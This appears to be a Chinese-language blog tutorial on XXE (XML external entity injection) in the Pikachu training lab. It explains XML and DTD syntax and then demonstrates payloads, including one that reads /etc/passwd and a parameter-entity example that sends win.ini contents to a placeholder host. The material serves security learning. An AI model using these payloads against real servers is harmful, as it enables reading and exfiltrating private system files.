十一、pikachu之XXE

本文详细介绍了XXE漏洞的概念,XML的基本构造及其结果,特别关注DTD文档类型定义的内部和外部声明,以及如何通过实例展示如何利用XML外部实体注入威胁服务器安全。最后,讨论了如何通过抓包和源代码分析检测这种漏洞并提出安全防范措施。
摘要由CSDN通过智能技术生成

1、XXE漏洞概述

  XXE(xml external entity injection):即xml外部实体注入漏洞,也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

1.1 XML定义

  XML由3个部分构成,它们分别是:

  • 文档类型定义(Document Type Definition,DTD),即XML的布局语言;
  • 可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;
  • 可扩展链接语言(Extensible Link Language,XLL) 。

  XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它的设计宗旨是传输数据,而不是显示数据它的标签没有被预定义,需要自行定义标签。

  可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计:

  • XML被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。

1.2 XML结果

  XML使用元素和属性来描述数据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。

  XML总体是由元素(如<message>)组成;元素可以额外附加属性,需要提前定义;元素中可以引用实体,相当于变量,存在内置变量和自定义变量。例如:

<square width="100" /> &a; </square>
  元素    属性         实体

  xml中的5个实体引用:

&lt;	<
&gt;	>
&amp;	&
&quot;	"
&apos;	'

1.2 XML文档格式

  XML文档结构包括XML声明DTD文档类型定义(可选)文档元素

在这里插入图片描述

  DTD(文档类型定义)用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

1.2.1 DTD内部文档声明

  当DTD存在于XML源文件中,由以下格式进行包裹<!DOCTYPE 根元素 [元素声明]>,然后XML文件对于DTD的内容进行引用

<?xml version="1.0"?>
<!DOCTYPE note [ 
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

  可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

1.2.2 DTD外部文档声明

  从xml文件外部引入DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

  例如:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

  note.dtd文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

1.2.3 DTD声明

  DTD可以声明元素、属性和实体:

  • 声明元素(标签):<!ELEMENT...
  • 为元素声明属性(标签属性):<!ATTLIST...
  • 声明实体:<!ENTITY...

(1)DTD声明元素

  • <!ELEMENT 元素名称 类别>
    • 类别:EMPTY,(#PCDATA),(#CDDATA),ANY
      • PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
      • CDDATA:不会被解析器解析的文本。
  • <!ELEMENT 元素名称 (元素内容)>
    • 多个元素内容:(子元素名称 1,子元素名称 2,……)
    • 元素内容次数:默认只出现一次。
      • 最少出现一个:(子元素名称+)
      • 出现0次或多次:(子元素名称*)
      • 出现0次或1次:(子元素名称?)
      • 或:(message|body)
  • 混合类别和元素内容:
    • <!ELEMENT note (#PCDATA|to|from|header|message)*>

(2)DTD声明属性

  基本格式:<!ATTLIST 元素名称 属性名称 属性类型 默认值>

  • 属性:
    • CDATA 值为字符数据 (character data)
    • (en1|en2|…) 此值是枚举列表中的一个值
    • ID 值为唯一的 id
    • IDREF 值为另外一个元素的 id
    • IDREFS 值为其他 id 的列表
    • NMTOKEN 值为合法的 XML 名称
    • NMTOKENS 值为合法的 XML 名称的列表
    • ENTITY 值是一个实体
    • ENTITIES 值是一个实体列表
    • NOTATION 此值是符号的名称
    • xml: 值是一个**预定义的 XML 值
  • 默认值:
    • 值 属性的默认值
    • #REQUIRED 属性值是必需的
    • #IMPLIED 属性不是必需的
    • #FIXED value 属性值是固定的

例如:

<!-- DTD声明 -->
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">
<!-- XML使用 -->
<square width="100" />

(3)DTD声明实体

  • 命名实体(内部实体):<!ENTITY 实体名称 "实体的值">
  • 外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
  • 参数实体:<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
  • 外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)
<!--- DTD声明--->
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<!ENTITY % file SYSTEM "file://c:/windows/win.ini?%other_file;">
<!--- XML使用--->
<author>&writer;&copyright;</author>
<!--- 参数实体DTD中使用--->
<!ENTITY % print "<!ENTITY send SYSTEM 'http://x.x.x.x/xxe.xml?c=%file;'>">

2、实战

(1)输入个包含命名实体(内部实体)的xml数据。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "仙女" > ]> 
<foo>&xxe;</foo>

foo是元素,相当于html中的标签;
xxe是实体,相当于一个变量,变量的值在DTD已经被赋值了,为“仙女”。

(2)通过抓包,可以看到:浏览器对xml数据进行url编码,以post方式发送给服务端。

在这里插入图片描述

(3)分析源代码
在这里插入图片描述
可以看到:

  • POST传参中xml的值赋给变量xml
  • simple_load_string()转换形式良好的 XML 字符串为 SimpleXMLElement 对象,并且开启外部实体解析。

(4)通过外部实体读取系统文件。

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> 
<foo>&xxe;</foo>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值